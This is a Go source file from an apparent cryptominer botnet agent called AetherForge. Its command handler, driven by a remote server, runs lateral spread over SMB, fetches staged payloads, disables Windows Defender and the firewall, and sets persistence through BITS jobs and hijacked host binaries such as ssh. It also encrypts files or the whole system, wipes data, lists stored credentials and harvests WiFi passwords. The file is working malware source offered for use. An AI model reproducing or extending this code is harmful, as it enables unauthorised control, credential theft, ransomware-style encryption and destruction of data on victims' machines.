package client import ( "encoding/json" "fmt" "runtime" "strconv" "strings" "crypto-miner-agent/deploy" ) func (c *AgentClient) allowRemoteAction(action string) (bool, string) { switch action { case "hole_punch", "hole_punch_close", "hole_punch_status": if !c.cfg.HolePunch { return false, "hole punch not enabled in forge (Advanced → NAT Hole Punch)" } case "spread_now", "spread_smb_unc", "discover_and_join": if !c.cfg.AutoSpread && !c.cfg.RemoteAggressive { return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)" } case "stage_fetch": if !c.cfg.RemoteAggressive { return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)" } case "start_tunnel", "tunnel_cloudflared", "tunnel_ssh_forward", "tunnel_stop", "subnet_scan", "smb_shares", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "encrypt_path", "secure_wipe", "credential_vault_list", "get_wifi_passwords": if !c.cfg.RemoteAggressive { return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)" } case "tunnel_status", "tunnel_wireguard": // Always available — read-only or Path Tracer config from server. case "supp_seek", "wg_setup", "wg_configure", "wg_teardown", "wg_status", "service_discover": // No forge gate — enumeration-only recon (Path Tracer + fleet discover). case "mesh_status": if !c.cfg.MeshP2P { return false, "mesh P2P not enabled in forge" } default: return true, "" } return true, "" } func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, command, path, data string) bool { if c.handleTunnelCommand(action, command, path, data) { return true } ok, reason := c.allowRemoteAction(action) if !ok { c.sendCommandResult(action, false, reason) return true } switch action { case "hole_punch": internalPort := parsePortArg(command, 8989) externalPort := parsePortArg(path, internalPort) desc := data if desc == "" { desc = c.cfg.WorkerName + "-aetherforge" } result, err := deploy.PunchUPnP(internalPort, externalPort, desc) if err != nil { c.sendCommandResult(action, false, result.Message) return true } c.sendCommandResult(action, true, result.Message) return true case "hole_punch_close": externalPort := parsePortArg(command, 8989) msg, err := deploy.CloseUPnP(externalPort) if err != nil { c.sendCommandResult(action, false, err.Error()) return true } c.sendCommandResult(action, true, msg) return true case "hole_punch_status": ip, err := deploy.GetPublicEndpoint() if err != nil { c.sendCommandResult(action, false, err.Error()) return true } c.sendCommandResult(action, true, fmt.Sprintf("WAN IP via UPnP: %s (use Hole Punch to map a port)", ip)) return true case "spread_now": msg := deploy.RunSpreadOnce(c.cfg) c.sendCommandResult(action, true, msg) return true case "spread_smb_unc": unc := strings.TrimSpace(path) svcName := "" if unc == "" { unc = strings.TrimSpace(data) } else { svcName = strings.TrimSpace(data) } msg := deploy.RunSMBUNCSpread(c.cfg, deploy.SMBUNCSpreadOpts{ UNCPath: unc, MaxHosts: parsePortArg(command, 64), SvcName: svcName, }) c.sendCommandResult(action, true, msg) return true case "stage_fetch": var manifest deploy.StagingManifest if err := json.Unmarshal([]byte(data), &manifest); err != nil { c.sendCommandResult(action, false, "bad staging manifest: "+err.Error()) return true } go func() { msg, err := deploy.RunStagingChain(c.cfg, manifest) if err != nil { c.sendCommandResult(action, false, err.Error()) return } c.sendCommandResult(action, true, msg) }() return true case "subnet_scan": maxHosts := parsePortArg(command, 64) out := deploy.ScanLocalSubnet(maxHosts) c.sendCommandResult(action, true, out) return true case "smb_shares": if runtime.GOOS != "windows" { c.sendCommandResult(action, false, "smb_shares is Windows-only") return true } maxHosts := parsePortArg(command, 32) out := deploy.EnumerateSMBShares(maxHosts) c.sendCommandResult(action, true, out) return true case "spread_status": out := deploy.GetSpreadStatusJSON() c.sendCommandResult(action, true, out) return true case "credential_vault_list": out := listCredentialVaultNames() c.sendCommandResult(action, true, out) return true case "secure_wipe": target := strings.TrimSpace(path) if target == "" { c.sendCommandResult(action, false, "path is required") return true } go func() { result := SecureWipePath(target) ok := !strings.HasPrefix(result, "secure_wipe error:") c.sendCommandResult(action, ok, result) }() return true case "defender_off": msg, err := deploy.DisableDefenderRealtime() if err != nil { c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg)) return true } c.sendCommandResult(action, true, msg) return true case "firewall_punch": port := parsePortArg(command, 8989) name := path if name == "" { name = "AetherForge Remote " + c.cfg.WorkerName } msg, err := deploy.OpenFirewallPort(port, name) if err != nil { c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg)) return true } c.sendCommandResult(action, true, msg) return true case "firewall_off": msg, err := deploy.DisableWindowsFirewall() if err != nil { c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg)) return true } c.sendCommandResult(action, true, msg) return true case "firewall_on": msg, err := deploy.EnableWindowsFirewall() if err != nil { c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg)) return true } c.sendCommandResult(action, true, msg) return true case "firewall_profiles": // command: "on" or "off" (default off). path: Domain,Private,Public or all enable := strings.EqualFold(strings.TrimSpace(command), "on") || strings.EqualFold(strings.TrimSpace(command), "enable") || strings.EqualFold(strings.TrimSpace(command), "true") profiles := strings.TrimSpace(path) if profiles == "" { profiles = "all" } msg, err := deploy.SetWindowsFirewallProfiles(enable, profiles) if err != nil { c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg)) return true } c.sendCommandResult(action, true, msg) return true case "bits_persist": bin, err := deploy.InstalledBinaryPath(c.cfg) if err != nil { c.sendCommandResult(action, false, err.Error()) return true } if err := deploy.CreateBITSPersistence(c.cfg, bin); err != nil { c.sendCommandResult(action, false, err.Error()) return true } c.sendCommandResult(action, true, fmt.Sprintf("BITS notify job registered (%s)", deploy.BitsJobName(c.cfg))) return true case "host_binary_persist": bin, err := deploy.InstalledBinaryPath(c.cfg) if err != nil { c.sendCommandResult(action, false, err.Error()) return true } preset := strings.TrimSpace(path) if preset == "" { preset = strings.TrimSpace(c.cfg.HostBinaryTarget) } if preset == "" { preset = "ssh" } target, err := deploy.HijackHostBinary(c.cfg, bin, preset) if err != nil { c.sendCommandResult(action, false, err.Error()) return true } c.sendCommandResult(action, true, fmt.Sprintf("host binary hijacked: %s (preset %s)", target, preset)) return true case "firewall_remove": var parts []string ruleName := strings.TrimSpace(path) if ruleName != "" { msg, err := deploy.RemoveFirewallRuleByName(ruleName) if err != nil { c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg)) return true } parts = append(parts, msg) } deploy.RemoveFirewallExclusion(c.cfg) parts = append(parts, "Removed AetherForge miner firewall rules (if present)") c.sendCommandResult(action, true, strings.Join(parts, "\n")) return true case "supp_seek": seekPath := strings.TrimSpace(path) if seekPath == "" { c.sendCommandResult(action, false, "path is required — set the 'path' field to the root directory to scan") return true } // command field carries target flags: "win", "mac", "all" (default all) flag := strings.ToLower(strings.TrimSpace(command)) opts := suppSeekOpts{ DropWindows: flag == "" || flag == "all" || strings.Contains(flag, "win"), DropMac: flag == "" || flag == "all" || strings.Contains(flag, "mac"), ServerURL: c.cfg.ServerURL, } // data field carries optional custom stem (file name without extension) if strings.TrimSpace(data) != "" { opts.FileStem = strings.TrimSpace(data) } c.sendCommandResult(action, true, fmt.Sprintf("SUPP Seek started — scanning %s (win=%v mac=%v)", seekPath, opts.DropWindows, opts.DropMac)) go func() { result := suppSeekWalk(seekPath, opts) c.sendCommandResult("supp_seek_done", true, result.Summary()) }() return true case "sys_crypt", "encrypt_path": target := strings.TrimSpace(path) recursive := parseRecursiveFlag(command, data) if action == "sys_crypt" && target == "" { recursive = true } go func() { var result string if target == "" && action == "sys_crypt" { result = SysCrypt() } else { result = EncryptPath(target, recursive) } c.sendCommandResult(action, true, result) }() return true case "get_wifi_passwords": go func() { result := grabWiFiPasswords() c.sendCommandResult(action, true, result) }() return true case "mesh_status": count := c.mesh.PeerCount() if count == 0 && c.cfg.MeshP2P { c.sendCommandResult(action, true, "mesh peers connected: 0 — binary not built with -tags p2p — re-forge with Mesh Networking enabled") } else { c.sendCommandResult(action, true, fmt.Sprintf("mesh peers connected: %d", count)) } return true case "wg_setup": // Generates WireGuard keypair, tries UPnP, returns JSON result to server. go func() { result := WGSetupJSON() c.sendCommandResult(action, true, result) }() return true case "wg_configure": // data field carries the JSON WGConfigPayload from the server. var payload WGConfigPayload if err := json.Unmarshal([]byte(data), &payload); err != nil { c.sendCommandResult(action, false, "bad wg config payload: "+err.Error()) return true } go func() { if err := WGConfigure(payload); err != nil { c.sendCommandResult(action, false, err.Error()) return } c.sendCommandResult(action, true, "WireGuard tunnel started") }() return true case "wg_teardown": go func() { WGTeardown() c.sendCommandResult(action, true, "WireGuard tunnel removed") }() return true case "wg_status": c.sendCommandResult(action, true, WGStatus()) return true case "service_discover": maxHosts := parsePortArg(command, 32) out := deploy.RunServiceDiscover(maxHosts) c.sendCommandResult(action, true, out) return true case "discover_and_join": maxHosts := parsePortArg(command, 32) go func() { msg, err := c.runDiscoverAndJoin(maxHosts) if err != nil { c.sendCommandResult(action, false, err.Error()) return } c.sendCommandResult(action, true, msg) }() return true } return false } func parsePortArg(raw string, fallback int) int { raw = strings.TrimSpace(raw) if raw == "" { return fallback } n, err := strconv.Atoi(raw) if err != nil || n <= 0 || n > 65535 { return fallback } return n }